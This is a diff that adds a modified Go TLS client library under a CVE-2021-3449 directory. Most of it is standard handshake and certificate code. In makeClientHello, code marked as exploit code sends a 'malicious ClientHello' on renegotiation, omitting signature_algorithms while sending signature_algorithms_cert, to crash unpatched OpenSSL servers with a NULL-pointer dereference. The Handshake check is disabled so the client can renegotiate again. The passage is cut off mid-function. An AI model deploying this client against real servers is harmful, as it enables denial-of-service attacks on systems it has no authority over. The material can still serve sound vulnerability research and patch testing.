c.handshakes++ + } + return c.handshakeErr +} + +// handlePostHandshakeMessage processes a handshake message arrived after the +// handshake is complete. Up to TLS 1.2, it indicates the start of a renegotiation. +func (c *Conn) handlePostHandshakeMessage() error { + return c.handleRenegotiation() +} + +// Read can be made to time out and return a net.Error with Timeout() == true +// after a fixed time limit; see SetDeadline and SetReadDeadline. +func (c *Conn) Read(b []byte) (int, error) { + if err := c.Handshake(); err != nil { + return 0, err + } + if len(b) == 0 { + // Put this after Handshake, in case people were calling + // Read(nil) for the side effect of the Handshake. + return 0, nil + } + + c.in.Lock() + defer c.in.Unlock() + + for c.input.Len() == 0 { + if err := c.readRecord(); err != nil { + return 0, err + } + for c.hand.Len() > 0 { + if err := c.handlePostHandshakeMessage(); err != nil { + return 0, err + } + } + } + + n, _ := c.input.Read(b) + + // If a close-notify alert is waiting, read it so that we can return (n, + // EOF) instead of (n, nil), to signal to the HTTP response reading + // goroutine that the connection is now closed. This eliminates a race + // where the HTTP response reading goroutine would otherwise not observe + // the EOF until its next read, by which time a client goroutine might + // have already tried to reuse the HTTP connection for a new request. + // See https://golang.org/cl/76400046 and https://golang.org/issue/3514 + if n != 0 && c.input.Len() == 0 && c.rawInput.Len() > 0 && + recordType(c.rawInput.Bytes()[0]) == recordTypeAlert { + if err := c.readRecord(); err != nil { + return n, err // will be io.EOF on closeNotify + } + } + + return n, nil +} + +// Close closes the connection. +func (c *Conn) Close() error { + // Interlock with Conn.Write above. + var x int32 + for { + x = atomic.LoadInt32(&c.activeCall) + if x&1 != 0 { + return errClosed + } + if atomic.CompareAndSwapInt32(&c.activeCall, x, x|1) { + break + } + } + if x != 0 { + // io.Writer and io.Closer should not be used concurrently. + // If Close is called while a Write is currently in-flight, + // interpret that as a sign that this Close is really just + // being used to break the Write and/or clean up resources and + // avoid sending the alertCloseNotify, which may block + // waiting on handshakeMutex or the c.out mutex. + return c.conn.Close() + } + + var alertErr error + + if c.handshakeComplete() { + alertErr = c.closeNotify() + } + + if err := c.conn.Close(); err != nil { + return err + } + return alertErr +} + +var errEarlyCloseWrite = errors.New("tls: CloseWrite called before handshake complete") + +// CloseWrite shuts down the writing side of the connection. It should only be +// called once the handshake has completed and does not call CloseWrite on the +// underlying connection. Most callers should just use Close. +func (c *Conn) CloseWrite() error { + if !c.handshakeComplete() { + return errEarlyCloseWrite + } + + return c.closeNotify() +} + +func (c *Conn) closeNotify() error { + c.out.Lock() + defer c.out.Unlock() + + if !c.closeNotifySent { + c.closeNotifyErr = c.sendAlertLocked(alertCloseNotify) + c.closeNotifySent = true + } + return c.closeNotifyErr +} + +// Handshake runs the client or server handshake +// protocol if it has not yet been run. +// Most uses of this package need not call Handshake +// explicitly: the first Read or Write will call it automatically. +func (c *Conn) Handshake() error { + c.handshakeMutex.Lock() + defer c.handshakeMutex.Unlock() + + if err := c.handshakeErr; err != nil { + return err + } + //if c.handshakeComplete() { + // return nil + //} + + c.in.Lock() + defer c.in.Unlock() + + c.handshakeErr = c.clientHandshake() + if c.handshakeErr == nil { + c.handshakes++ + } else { + // If an error occurred during the handshake try to flush the + // alert that might be left in the buffer. + c.flush() + } + + if c.handshakeErr == nil && !c.handshakeComplete() { + c.handshakeErr = errors.New("tls: internal error: handshake should have had a result") + } + + return c.handshakeErr +} + +// ConnectionState returns basic TLS details about the connection. +func (c *Conn) ConnectionState() ConnectionState { + c.handshakeMutex.Lock() + defer c.handshakeMutex.Unlock() + + var state ConnectionState + state.HandshakeComplete = c.handshakeComplete() + state.ServerName = c.serverName + + if state.HandshakeComplete { + state.Version = c.vers + state.NegotiatedProtocol = c.clientProtocol + state.DidResume = c.didResume + state.NegotiatedProtocolIsMutual = !c.clientProtocolFallback + state.CipherSuite = c.cipherSuite + state.PeerCertificates = c.peerCertificates + state.VerifiedChains = c.verifiedChains + state.SignedCertificateTimestamps = c.scts + state.OCSPResponse = c.ocspResponse + if !c.didResume { + if c.clientFinishedIsFirst { + state.TLSUnique = c.clientFinished[:] + } else { + state.TLSUnique = c.serverFinished[:] + } + } + if c.config.Renegotiation != RenegotiateNever { + state.ekm = noExportedKeyingMaterial + } else { + state.ekm = c.ekm + } + } + + return state +} + +// OCSPResponse returns the stapled OCSP response from the TLS server, if +// any. (Only valid for client connections.) +func (c *Conn) OCSPResponse() []byte { + c.handshakeMutex.Lock() + defer c.handshakeMutex.Unlock() + + return c.ocspResponse +} + +// VerifyHostname checks that the peer certificate chain is valid for +// connecting to host. If so, it returns nil; if not, it returns an error +// describing the problem. +func (c *Conn) VerifyHostname(host string) error { + c.handshakeMutex.Lock() + defer c.handshakeMutex.Unlock() + if !c.handshakeComplete() { + return errors.New("tls: handshake has not yet been performed") + } + if len(c.verifiedChains) == 0 { + return errors.New("tls: handshake did not verify certificate chain") + } + return c.peerCertificates[0].VerifyHostname(host) +} + +func (c *Conn) handshakeComplete() bool { + return atomic.LoadUint32(&c.handshakeStatus) == 1 +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/generate_cert.go b/cve/openssl/2021/CVE-2021-3449/tls/generate_cert.go new file mode 100644 index 00000000..f1d69c40 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/generate_cert.go @@ -0,0 +1,162 @@ +// Copyright 2009 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// +build ignore + +// Generate a self-signed X.509 certificate for a TLS server. Outputs to +// 'cert.pem' and 'key.pem' and will overwrite existing files. + +package main + +import ( + "crypto/ecdsa" + "crypto/ed25519" + "crypto/elliptic" + "crypto/rand" + "crypto/rsa" + "crypto/x509" + "crypto/x509/pkix" + "encoding/pem" + "flag" + "log" + "math/big" + "net" + "os" + "strings" + "time" +) + +var ( + host = flag.String("host", "", "Comma-separated hostnames and IPs to generate a certificate for") + validFrom = flag.String("start-date", "", "Creation date formatted as Jan 1 15:04:05 2011") + validFor = flag.Duration("duration", 365*24*time.Hour, "Duration that certificate is valid for") + isCA = flag.Bool("ca", false, "whether this cert should be its own Certificate Authority") + rsaBits = flag.Int("rsa-bits", 2048, "Size of RSA key to generate. Ignored if --ecdsa-curve is set") + ecdsaCurve = flag.String("ecdsa-curve", "", "ECDSA curve to use to generate a key. Valid values are P224, P256 (recommended), P384, P521") + ed25519Key = flag.Bool("ed25519", false, "Generate an Ed25519 key") +) + +func publicKey(priv interface{}) interface{} { + switch k := priv.(type) { + case *rsa.PrivateKey: + return &k.PublicKey + case *ecdsa.PrivateKey: + return &k.PublicKey + case ed25519.PrivateKey: + return k.Public().(ed25519.PublicKey) + default: + return nil + } +} + +func main() { + flag.Parse() + + if len(*host) == 0 { + log.Fatalf("Missing required --host parameter") + } + + var priv interface{} + var err error + switch *ecdsaCurve { + case "": + if *ed25519Key { + _, priv, err = ed25519.GenerateKey(rand.Reader) + } else { + priv, err = rsa.GenerateKey(rand.Reader, *rsaBits) + } + case "P224": + priv, err = ecdsa.GenerateKey(elliptic.P224(), rand.Reader) + case "P256": + priv, err = ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + case "P384": + priv, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader) + case "P521": + priv, err = ecdsa.GenerateKey(elliptic.P521(), rand.Reader) + default: + log.Fatalf("Unrecognized elliptic curve: %q", *ecdsaCurve) + } + if err != nil { + log.Fatalf("Failed to generate private key: %v", err) + } + + var notBefore time.Time + if len(*validFrom) == 0 { + notBefore = time.Now() + } else { + notBefore, err = time.Parse("Jan 2 15:04:05 2006", *validFrom) + if err != nil { + log.Fatalf("Failed to parse creation date: %v", err) + } + } + + notAfter := notBefore.Add(*validFor) + + serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) + serialNumber, err := rand.Int(rand.Reader, serialNumberLimit) + if err != nil { + log.Fatalf("Failed to generate serial number: %v", err) + } + + template := x509.Certificate{ + SerialNumber: serialNumber, + Subject: pkix.Name{ + Organization: []string{"Acme Co"}, + }, + NotBefore: notBefore, + NotAfter: notAfter, + + KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + BasicConstraintsValid: true, + } + + hosts := strings.Split(*host, ",") + for _, h := range hosts { + if ip := net.ParseIP(h); ip != nil { + template.IPAddresses = append(template.IPAddresses, ip) + } else { + template.DNSNames = append(template.DNSNames, h) + } + } + + if *isCA { + template.IsCA = true + template.KeyUsage |= x509.KeyUsageCertSign + } + + derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, publicKey(priv), priv) + if err != nil { + log.Fatalf("Failed to create certificate: %v", err) + } + + certOut, err := os.Create("cert.pem") + if err != nil { + log.Fatalf("Failed to open cert.pem for writing: %v", err) + } + if err := pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}); err != nil { + log.Fatalf("Failed to write data to cert.pem: %v", err) + } + if err := certOut.Close(); err != nil { + log.Fatalf("Error closing cert.pem: %v", err) + } + log.Print("wrote cert.pem\n") + + keyOut, err := os.OpenFile("key.pem", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600) + if err != nil { + log.Fatalf("Failed to open key.pem for writing: %v", err) + return + } + privBytes, err := x509.MarshalPKCS8PrivateKey(priv) + if err != nil { + log.Fatalf("Unable to marshal private key: %v", err) + } + if err := pem.Encode(keyOut, &pem.Block{Type: "PRIVATE KEY", Bytes: privBytes}); err != nil { + log.Fatalf("Failed to write data to key.pem: %v", err) + } + if err := keyOut.Close(); err != nil { + log.Fatalf("Error closing key.pem: %v", err) + } + log.Print("wrote key.pem\n") +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/handshake_client.go b/cve/openssl/2021/CVE-2021-3449/tls/handshake_client.go new file mode 100644 index 00000000..b5b7c6a3 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/handshake_client.go @@ -0,0 +1,869 @@ +// Copyright 2009 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package tls + +import ( + "bytes" + "crypto" + "crypto/ecdsa" + "crypto/ed25519" + "crypto/rsa" + "crypto/subtle" + "crypto/x509" + "errors" + "fmt" + "io" + "net" + "strings" + "sync/atomic" +) + +type clientHandshakeState struct { + c *Conn + serverHello *serverHelloMsg + hello *clientHelloMsg + suite *cipherSuite + finishedHash finishedHash + masterSecret []byte + session *ClientSessionState +} + +func (c *Conn) makeClientHello() (*clientHelloMsg, error) { + + config := c.config + if len(config.ServerName) == 0 && !config.InsecureSkipVerify { + return nil, errors.New("tls: either ServerName or InsecureSkipVerify must be specified in the tls.Config") + } + + nextProtosLength := 0 + for _, proto := range config.NextProtos { + if l := len(proto); l == 0 || l > 255 { + return nil, errors.New("tls: invalid NextProtos value") + } else { + nextProtosLength += 1 + l + } + } + if nextProtosLength > 0xffff { + return nil, errors.New("tls: NextProtos values too large") + } + + supportedVersions := config.supportedVersions() + if len(supportedVersions) == 0 { + return nil, errors.New("tls: no supported versions satisfy MinVersion and MaxVersion") + } + + clientHelloVersion := supportedVersions[0] + // The version at the beginning of the ClientHello was capped at TLS 1.2 + // for compatibility reasons. The supported_versions extension is used + // to negotiate versions now. See RFC 8446, Section 4.2.1. + if clientHelloVersion > VersionTLS12 { + clientHelloVersion = VersionTLS12 + } + + hello := &clientHelloMsg{ + vers: clientHelloVersion, + compressionMethods: []uint8{compressionNone}, + random: make([]byte, 32), + sessionId: make([]byte, 32), + ocspStapling: true, + scts: true, + serverName: hostnameInSNI(config.ServerName), + supportedCurves: config.curvePreferences(), + supportedPoints: []uint8{pointFormatUncompressed}, + secureRenegotiationSupported: true, + alpnProtocols: config.NextProtos, + supportedVersions: supportedVersions, + } + + if c.handshakes > 0 { + hello.secureRenegotiation = c.clientFinished[:] + } + + possibleCipherSuites := config.cipherSuites() + hello.cipherSuites = make([]uint16, 0, len(possibleCipherSuites)) + + for _, suiteId := range possibleCipherSuites { + for _, suite := range cipherSuites { + if suite.id != suiteId { + continue + } + // Don't advertise TLS 1.2-only cipher suites unless + // we're attempting TLS 1.2. + if hello.vers < VersionTLS12 && suite.flags&suiteTLS12 != 0 { + break + } + hello.cipherSuites = append(hello.cipherSuites, suiteId) + break + } + } + + _, err := io.ReadFull(config.rand(), hello.random) + if err != nil { + return nil, errors.New("tls: short read from Rand: " + err.Error()) + } + + // A random session ID is used to detect when the server accepted a ticket + // and is resuming a session (see RFC 5077). In TLS 1.3, it's always set as + // a compatibility measure (see RFC 8446, Section 4.1.2). + if _, err := io.ReadFull(config.rand(), hello.sessionId); err != nil { + return nil, errors.New("tls: short read from Rand: " + err.Error()) + } + + // CVE-2021-3449 exploit code. + if hello.vers >= VersionTLS12 { + if c.handshakes == 0 { + println("sending initial ClientHello") + hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms + } else { + // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference + // if the supported_signature_algorithms extension is omitted, + // but supported_signature_algorithms_cert is present. + println("sending malicious ClientHello") + hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms + } + } + + return hello, nil +} + +func (c *Conn) clientHandshake() (err error) { + if c.config == nil { + c.config = defaultConfig() + } + + // This may be a renegotiation handshake, in which case some fields + // need to be reset. + c.didResume = false + + hello, err := c.makeClientHello() + if err != nil { + return err + } + + cacheKey, session := c.loadSession(hello) + if cacheKey != "" && session != nil { + defer func() { + // If we got a handshake failure when resuming a session, throw away + // the session ticket. See RFC 5077, Section 3.2. + // + // RFC 8446 makes no mention of dropping tickets on failure, but it + // does require servers to abort on invalid binders, so we need to + // delete tickets to recover from a corrupted PSK. + if err != nil { + c.config.ClientSessionCache.Put(cacheKey, nil) + } + }() + } + + if _, err := c.writeRecord(recordTypeHandshake, hello.marshal()); err != nil { + return err + } + + msg, err := c.readHandshake() + if err != nil { + return err + } + + serverHello, ok := msg.(*serverHelloMsg) + if !ok { + c.sendAlert(alertUnexpectedMessage) + return unexpectedMessageError(serverHello, msg) + } + + if err := c.pickTLSVersion(serverHello); err != nil { + return err + } + + hs := &clientHandshakeState{ + c: c, + serverHello: serverHello, + hello: hello, + session: session, + } + + if err := hs.handshake(); err != nil { + return err + } + + // If we had a successful handshake and hs.session is different from + // the one already cached - cache a new one. + if cacheKey != "" && hs.session != nil && session != hs.session { + c.config.ClientSessionCache.Put(cacheKey, hs.session) + } + + return nil +} + +func (c *Conn) loadSession(hello *clientHelloMsg) (cacheKey string, session *ClientSessionState) { + if c.config.SessionTicketsDisabled || c.config.ClientSessionCache == nil { + return "", nil + } + + hello.ticketSupported = true + + // Session resumption is not allowed if renegotiating because + // renegotiation is primarily used to allow a client to send a client + // certificate, which would be skipped if session resumption occurred. + if c.handshakes != 0 { + return "", nil + } + + // Try to resume a previously negotiated TLS session, if available. + cacheKey = clientSessionCacheKey(c.conn.RemoteAddr(), c.config) + session, ok := c.config.ClientSessionCache.Get(cacheKey) + if !ok || session == nil { + return cacheKey, nil + } + + // Check that version used for the previous session is still valid. + versOk := false + for _, v := range hello.supportedVersions { + if v == session.vers { + versOk = true + break + } + } + if !versOk { + return cacheKey, nil + } + + // Check that the cached server certificate is not expired, and that it's + // valid for the ServerName. This should be ensured by the cache key, but + // protect the application from a faulty ClientSessionCache implementation. + if !c.config.InsecureSkipVerify { + if len(session.verifiedChains) == 0 { + // The original connection had InsecureSkipVerify, while this doesn't. + return cacheKey, nil + } + serverCert := session.serverCertificates[0] + if c.config.time().After(serverCert.NotAfter) { + // Expired certificate, delete the entry. + c.config.ClientSessionCache.Put(cacheKey, nil) + return cacheKey, nil + } + if err := serverCert.VerifyHostname(c.config.ServerName); err != nil { + return cacheKey, nil + } + } + + // In TLS 1.2 the cipher suite must match the resumed session. Ensure we + // are still offering it. + if mutualCipherSuite(hello.cipherSuites, session.cipherSuite) == nil { + return cacheKey, nil + } + + hello.sessionTicket = session.sessionTicket + return +} + +func (c *Conn) pickTLSVersion(serverHello *serverHelloMsg) error { + peerVersion := serverHello.vers + if serverHello.supportedVersion != 0 { + peerVersion = serverHello.supportedVersion + } + + vers, ok := c.config.mutualVersion([]uint16{peerVersion}) + if !ok { + c.sendAlert(alertProtocolVersion) + return fmt.Errorf("tls: server selected unsupported protocol version %x", peerVersion) + } + + c.vers = vers + c.haveVers = true + c.in.version = vers + c.out.version = vers + + return nil +} + +// Does the handshake, either a full one or resumes old session. Requires hs.c, +// hs.hello, hs.serverHello, and, optionally, hs.session to be set. +func (hs *clientHandshakeState) handshake() error { + c := hs.c + + isResume, err := hs.processServerHello() + if err != nil { + return err + } + + hs.finishedHash = newFinishedHash(c.vers, hs.suite) + + // No signatures of the handshake are needed in a resumption. + // Otherwise, in a full handshake, if we don't have any certificates + // configured then we will never send a CertificateVerify message and + // thus no signatures are needed in that case either. + if isResume || (len(c.config.Certificates) == 0 && c.config.GetClientCertificate == nil) { + hs.finishedHash.discardHandshakeBuffer() + } + + hs.finishedHash.Write(hs.hello.marshal()) + hs.finishedHash.Write(hs.serverHello.marshal()) + + c.buffering = true + if isResume { + if err := hs.establishKeys(); err != nil { + return err + } + if err := hs.readSessionTicket(); err != nil { + return err + } + if err := hs.readFinished(c.serverFinished[:]); err != nil { + return err + } + c.clientFinishedIsFirst = false + if err := hs.sendFinished(c.clientFinished[:]); err != nil { + return err + } + if _, err := c.flush(); err != nil { + return err + } + } else { + if err := hs.doFullHandshake(); err != nil { + return err + } + if err := hs.establishKeys(); err != nil { + return err + } + if err := hs.sendFinished(c.clientFinished[:]); err != nil { + return err + } + if _, err := c.flush(); err != nil { + return err + } + c.clientFinishedIsFirst = true + if err := hs.readSessionTicket(); err != nil { + return err + } + if err := hs.readFinished(c.serverFinished[:]); err != nil { + return err + } + } + + c.ekm = ekmFromMasterSecret(c.vers, hs.suite, hs.masterSecret, hs.hello.random, hs.serverHello.random) + c.didResume = isResume + atomic.StoreUint32(&c.handshakeStatus, 1) + + return nil +} + +func (hs *clientHandshakeState) pickCipherSuite() error { + if hs.suite = mutualCipherSuite(hs.hello.cipherSuites, hs.serverHello.cipherSuite); hs.suite == nil { + hs.c.sendAlert(alertHandshakeFailure) + return errors.New("tls: server chose an unconfigured cipher suite") + } + + hs.c.cipherSuite = hs.suite.id + return nil +} + +func (hs *clientHandshakeState) doFullHandshake() error { + c := hs.c + + msg, err := c.readHandshake() + if err != nil { + return err + } + certMsg, ok := msg.(*certificateMsg) + if !ok || len(certMsg.certificates) == 0 { + c.sendAlert(alertUnexpectedMessage) + return unexpectedMessageError(certMsg, msg) + } + hs.finishedHash.Write(certMsg.marshal()) + + if c.handshakes == 0 { + // If this is the first handshake on a connection, process and + // (optionally) verify the server's certificates. + if err := c.verifyServerCertificate(certMsg.certificates); err != nil { + return err + } + } else { + // This is a renegotiation handshake. We require that the + // server's identity (i.e. leaf certificate) is unchanged and + // thus any previous trust decision is still valid. + // + // See https://mitls.org/pages/attacks/3SHAKE for the + // motivation behind this requirement. + if !bytes.Equal(c.peerCertificates[0].Raw, certMsg.certificates[0]) { + c.sendAlert(alertBadCertificate) + return errors.New("tls: server's identity changed during renegotiation") + } + } + + msg, err = c.readHandshake() + if err != nil { + return err + } + + cs, ok := msg.(*certificateStatusMsg) + if ok { + // RFC4366 on Certificate Status Request: + // The server MAY return a "certificate_status" message. + + if !hs.serverHello.ocspStapling { + // If a server returns a "CertificateStatus" message, then the + // server MUST have included an extension of type "status_request" + // with empty "extension_data" in the extended server hello. + + c.sendAlert(alertUnexpectedMessage) + return errors.New("tls: received unexpected CertificateStatus message") + } + hs.finishedHash.Write(cs.marshal()) + + c.ocspResponse = cs.response + + msg, err = c.readHandshake() + if err != nil { + return err + } + } + + keyAgreement := hs.suite.ka(c.vers) + + skx, ok := msg.(*serverKeyExchangeMsg) + if ok { + hs.finishedHash.Write(skx.marshal()) + err = keyAgreement.processServerKeyExchange(c.config, hs.hello, hs.serverHello, c.peerCertificates[0], skx) + if err != nil { + c.sendAlert(alertUnexpectedMessage) + return err + } + + msg, err = c.readHandshake() + if err != nil { + return err + } + } + + var chainToSend *Certificate + var certRequested bool + certReq, ok := msg.(*certificateRequestMsg) + if ok { + certRequested = true + hs.finishedHash.Write(certReq.marshal()) + + cri := certificateRequestInfoFromMsg(c.vers, certReq) + if chainToSend, err = c.getClientCertificate(cri); err != nil { + c.sendAlert(alertInternalError) + return err + } + + msg, err = c.readHandshake() + if err != nil { + return err + } + } + + shd, ok := msg.(*serverHelloDoneMsg) + if !ok { + c.sendAlert(alertUnexpectedMessage) + return unexpectedMessageError(shd, msg) + } + hs.finishedHash.Write(shd.marshal()) + + // If the server requested a certificate then we have to send a + // Certificate message, even if it's empty because we don't have a + // certificate to send. + if certRequested { + certMsg = new(certificateMsg) + certMsg.certificates = chainToSend.Certificate + hs.finishedHash.Write(certMsg.marshal()) + if _, err := c.writeRecord(recordTypeHandshake, certMsg.marshal()); err != nil { + return err + } + } + + preMasterSecret, ckx, err := keyAgreement.generateClientKeyExchange(c.config, hs.hello, c.peerCertificates[0]) + if err != nil { + c.sendAlert(alertInternalError) + return err + } + if ckx != nil { + hs.finishedHash.Write(ckx.marshal()) + if _, err := c.writeRecord(recordTypeHandshake, ckx.marshal()); err != nil { + return err + } + } + + if chainToSend != nil && len(chainToSend.Certificate) > 0 { + certVerify := &certificateVerifyMsg{} + + key, ok := chainToSend.PrivateKey.(crypto.Signer) + if !ok { + c.sendAlert(alertInternalError) + return fmt.Errorf("tls: client certificate private key of type %T does not implement crypto.Signer", chainToSend.PrivateKey) + } + + var sigType uint8 + var sigHash crypto.Hash + if c.vers >= VersionTLS12 { + signatureAlgorithm, err := selectSignatureScheme(c.vers, chainToSend, certReq.supportedSignatureAlgorithms) + if err != nil { + c.sendAlert(alertIllegalParameter) + return err + } + sigType, sigHash, err = typeAndHashFromSignatureScheme(signatureAlgorithm) + if err != nil { + return c.sendAlert(alertInternalError) + } + certVerify.hasSignatureAlgorithm = true + certVerify.signatureAlgorithm = signatureAlgorithm + } else { + sigType, sigHash, err = legacyTypeAndHashFromPublicKey(key.Public()) + if err != nil { + c.sendAlert(alertIllegalParameter) + return err + } + } + + signed := hs.finishedHash.hashForClientCertificate(sigType, sigHash) + signOpts := crypto.SignerOpts(sigHash) + if sigType == signatureRSAPSS { + signOpts = &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash, Hash: sigHash} + } + certVerify.signature, err = key.Sign(c.config.rand(), signed, signOpts) + if err != nil { + c.sendAlert(alertInternalError) + return err + } + + hs.finishedHash.Write(certVerify.marshal()) + if _, err := c.writeRecord(recordTypeHandshake, certVerify.marshal()); err != nil { + return err + } + } + + hs.masterSecret = masterFromPreMasterSecret(c.vers, hs.suite, preMasterSecret, hs.hello.random, hs.serverHello.random) + if err := c.config.writeKeyLog(keyLogLabelTLS12, hs.hello.random, hs.masterSecret); err != nil { + c.sendAlert(alertInternalError) + return errors.New("tls: failed to write to key log: " + err.Error()) + } + + hs.finishedHash.discardHandshakeBuffer() + + return nil +} + +func (hs *clientHandshakeState) establishKeys() error { + c := hs.c + + clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV := + keysFromMasterSecret(c.vers, hs.suite, hs.masterSecret, hs.hello.random, hs.serverHello.random, hs.suite.macLen, hs.suite.keyLen, hs.suite.ivLen) + var clientCipher, serverCipher interface{} + var clientHash, serverHash macFunction + if hs.suite.cipher != nil { + clientCipher = hs.suite.cipher(clientKey, clientIV, false /* not for reading */) + clientHash = hs.suite.mac(c.vers, clientMAC) + serverCipher = hs.suite.cipher(serverKey, serverIV, true /* for reading */) + serverHash = hs.suite.mac(c.vers, serverMAC) + } else { + clientCipher = hs.suite.aead(clientKey, clientIV) + serverCipher = hs.suite.aead(serverKey, serverIV) + } + + c.in.prepareCipherSpec(c.vers, serverCipher, serverHash) + c.out.prepareCipherSpec(c.vers, clientCipher, clientHash) + return nil +} + +func (hs *clientHandshakeState) serverResumedSession() bool { + // If the server responded with the same sessionId then it means the + // sessionTicket is being used to resume a TLS session. + return hs.session != nil && hs.hello.sessionId != nil && + bytes.Equal(hs.serverHello.sessionId, hs.hello.sessionId) +} + +func (hs *clientHandshakeState) processServerHello() (bool, error) { + c := hs.c + + if err := hs.pickCipherSuite(); err != nil { + return false, err + } + + if hs.serverHello.compressionMethod != compressionNone { + c.sendAlert(alertUnexpectedMessage) + return false, errors.New("tls: server selected unsupported compression format") + } + + if c.handshakes == 0 && hs.serverHello.secureRenegotiationSupported { + c.secureRenegotiation = true + if len(hs.serverHello.secureRenegotiation) != 0 { + c.sendAlert(alertHandshakeFailure) + return false, errors.New("tls: initial handshake had non-empty renegotiation extension") + } + } + + if c.handshakes > 0 && c.secureRenegotiation { + var expectedSecureRenegotiation [24]byte + copy(expectedSecureRenegotiation[:], c.clientFinished[:]) + copy(expectedSecureRenegotiation[12:], c.serverFinished[:]) + if !bytes.Equal(hs.serverHello.secureRenegotiation, expectedSecureRenegotiation[:]) { + c.sendAlert(alertHandshakeFailure) + return false, errors.New("tls: incorrect renegotiation extension contents") + } + } + + clientDidALPN := len(hs.hello.alpnProtocols) > 0 + serverHasALPN := len(hs.serverHello.alpnProtocol) > 0 + + if !clientDidALPN && serverHasALPN { + c.sendAlert(alertHandshakeFailure) + return false, errors.New("tls: server advertised unrequested ALPN extension") + } + + if serverHasALPN { + c.clientProtocol = hs.serverHello.alpnProtocol + c.clientProtocolFallback = false + } + c.scts = hs.serverHello.scts + + if !hs.serverResumedSession() { + return false, nil + } + + if hs.session.vers != c.vers { + c.sendAlert(alertHandshakeFailure) + return false, errors.New("tls: server resumed a session with a different version") + } + + if hs.session.cipherSuite != hs.suite.id { + c.sendAlert(alertHandshakeFailure) + return false, errors.New("tls: server resumed a session with a different cipher suite") + } + + // Restore masterSecret and peerCerts from previous state + hs.masterSecret = hs.session.masterSecret + c.peerCertificates = hs.session.serverCertificates + c.verifiedChains = hs.session.verifiedChains + return true, nil +} + +func (hs *clientHandshakeState) readFinished(out []byte) error { + c := hs.c + + if err := c.readChangeCipherSpec(); err != nil { + return err + } + + msg, err := c.readHandshake() + if err != nil { + return err + } + serverFinished, ok := msg.(*finishedMsg) + if !ok { + c.sendAlert(alertUnexpectedMessage) + return unexpectedMessageError(serverFinished, msg) + } + + verify := hs.finishedHash.serverSum(hs.masterSecret) + if len(verify) != len(serverFinished.verifyData) || + subtle.ConstantTimeCompare(verify, serverFinished.verifyData) != 1 { + c.sendAlert(alertHandshakeFailure) + return errors.New("tls: server's Finished message was incorrect") + } + hs.finishedHash.Write(serverFinished.marshal()) + copy(out, verify) + return nil +} + +func (hs *clientHandshakeState) readSessionTicket() error { + if !hs.serverHello.ticketSupported { + return nil + } + + c := hs.c + msg, err := c.readHandshake() + if err != nil { + return err + } + sessionTicketMsg, ok := msg.(*newSessionTicketMsg) + if !ok { + c.sendAlert(alertUnexpectedMessage) + return unexpectedMessageError(sessionTicketMsg, msg) + } + hs.finishedHash.Write(sessionTicketMsg.marshal()) + + hs.session = &ClientSessionState{ + sessionTicket: sessionTicketMsg.ticket, + vers: c.vers, + cipherSuite: hs.suite.id, + masterSecret: hs.masterSecret, + serverCertificates: c.peerCertificates, + verifiedChains: c.verifiedChains, + receivedAt: c.config.time(), + } + + return nil +} + +func (hs *clientHandshakeState) sendFinished(out []byte) error { + c := hs.c + + if _, err := c.writeRecord(recordTypeChangeCipherSpec, []byte{1}); err != nil { + return err + } + + finished := new(finishedMsg) + finished.verifyData = hs.finishedHash.clientSum(hs.masterSecret) + hs.finishedHash.Write(finished.marshal()) + if _, err := c.writeRecord(recordTypeHandshake, finished.marshal()); err != nil { + return err + } + copy(out, finished.verifyData) + return nil +} + +// verifyServerCertificate parses and verifies the provided chain, setting +// c.verifiedChains and c.peerCertificates or sending the appropriate alert. +func (c *Conn) verifyServerCertificate(certificates [][]byte) error { + certs := make([]*x509.Certificate, len(certificates)) + for i, asn1Data := range certificates { + cert, err := x509.ParseCertificate(asn1Data) + if err != nil { + c.sendAlert(alertBadCertificate) + return errors.New("tls: failed to parse certificate from server: " + err.Error()) + } + certs[i] = cert + } + + if !c.config.InsecureSkipVerify { + opts := x509.VerifyOptions{ + Roots: c.config.RootCAs, + CurrentTime: c.config.time(), + DNSName: c.config.ServerName, + Intermediates: x509.NewCertPool(), + } + for _, cert := range certs[1:] { + opts.Intermediates.AddCert(cert) + } + var err error + c.verifiedChains, err = certs[0].Verify(opts) + if err != nil { + c.sendAlert(alertBadCertificate) + return err + } + } + + switch certs[0].PublicKey.(type) { + case *rsa.PublicKey, *ecdsa.PublicKey, ed25519.PublicKey: + break + default: + c.sendAlert(alertUnsupportedCertificate) + return fmt.Errorf("tls: server's certificate contains an unsupported type of public key: %T", certs[0].PublicKey) + } + + c.peerCertificates = certs + + return nil +} + +// tls11SignatureSchemes contains the signature schemes that we synthesise for +// a TLS <= 1.1 connection, based on the supported certificate types. +var ( + tls11SignatureSchemes = []SignatureScheme{ECDSAWithP256AndSHA256, ECDSAWithP384AndSHA384, ECDSAWithP521AndSHA512, PKCS1WithSHA256, PKCS1WithSHA384, PKCS1WithSHA512, PKCS1WithSHA1} + tls11SignatureSchemesECDSA = tls11SignatureSchemes[:3] + tls11SignatureSchemesRSA = tls11SignatureSchemes[3:] +) + +// certificateRequestInfoFromMsg generates a CertificateRequestInfo from a TLS +// <= 1.2 CertificateRequest, making an effort to fill in missing information. +func certificateRequestInfoFromMsg(vers uint16, certReq *certificateRequestMsg) *CertificateRequestInfo { + cri := &CertificateRequestInfo{ + AcceptableCAs: certReq.certificateAuthorities, + Version: vers, + } + + var rsaAvail, ecAvail bool + for _, certType := range certReq.certificateTypes { + switch certType { + case certTypeRSASign: + rsaAvail = true + case certTypeECDSASign: + ecAvail = true + } + } + + if 